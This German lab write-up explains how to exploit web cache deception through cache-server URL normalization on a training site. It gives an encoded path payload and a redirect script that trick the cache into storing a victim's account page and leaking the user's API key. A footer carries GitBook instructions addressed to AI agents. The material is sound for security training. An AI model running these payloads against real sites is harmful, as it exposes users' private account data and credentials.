> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/web-cache-deception/web-cache-deception-via-cache-server-normalization.md).

# Web-Cache-Desynchronisierung via serverseitige Cache-Normalisierung

### Ausnutzung der Normalisierung von Cache-Servern für Web Cache Deception

#### Ziel des Labs

Den \*\*API-Schlüssel\*\* des Benutzers wiederherstellen **carlos** durch Ausnutzen eines **URL-Normalisierungsverhaltens** (Unterschied in der Interpretation zwischen Anwendung und Cache-Server). / Verbindung verfügbar: **wiener:peter**.

#### Erste Beobachtung

Wir testen statische Suffixe, um einen Cache auszulösen:

* Testanfrage:

```bash
GET /my-account~test.js
```

Je nach bestimmten Zeichen gibt es unterschiedliche Antworten, und der Server akzeptiert:

* `#`
* `?`
* `%23` (URL-Kodierung für `#`)
* `%3f` (URL-Kodierung für `?`)

<figure><img src="/files/7fcae23742315434ebf06cc65d73d61d5becb273" alt=""><figcaption></figcaption></figure>

#### Interessanter Endpunkt ebenfalls gecacht

Das Ressourcenverzeichnis scheint ebenfalls versteckt zu sein:

```http
GET /resources/ HTTP/2
```

Das ist nützlich, weil wir versuchen werden, den Cache auf `/resources` zu lenken, während auf der App eine Route weiterhin interpretiert wird als `/my-account`.

<figure><img src="/files/dfef040ded46a827067d0af7eb8934db7a497a2e" alt=""><figcaption></figcaption></figure>

#### Technik: Fragment + Cross (mit Normalisierung)

Es wird eine URL aufgebaut, bei der die Anwendung weiterhin **/my-account**verarbeitet, während der Cache die Sequenz normalisiert/interpretiert, sodass daraus **/resources**.

Tests:

```bash
GET /my-account#/../resources
# Kodierte Version (die hier am besten „durchgeht“)
GET /my-account%23%2f%2e%2e%2fresources
```

Der entscheidende Punkt: **Der Cache-Server bevorzugt die URL-kodierte Version**, was das erwartete Verhalten auslöst.

<figure><img src="/files/1b35f379b488929dc36f148b0842c8eb7517f329" alt=""><figcaption></figcaption></figure>

#### Ausnutzung: Das Opfer dazu zwingen, die Seite zu cachen

Vom Exploit-Server aus wird das Opfer auf die Falle-URL umgeleitet:

{% code overflow="wrap" %}

```javascript
<script>
    document.location = "https://0abe00b00342ae8780a1bcdf00f10008.web-security-academy.net/my-account%23%2f%2e%2e%2fresources";
</script>
```

{% endcode %}

#### Ergebnis

Sobald das Opfer diese URL durchlaufen hat, wird die aus dem Cache ausgelieferte Ressource wiederhergestellt und der \*\*carlos-API-Schlüssel\*\* wird erhalten, womit das Lab bestätigt wird.

<figure><img src="/files/263871a1ffb3e7ca8bfe1fbbb6cbf1ed51b7516a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/web-cache-deception/web-cache-deception-via-cache-server-normalization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
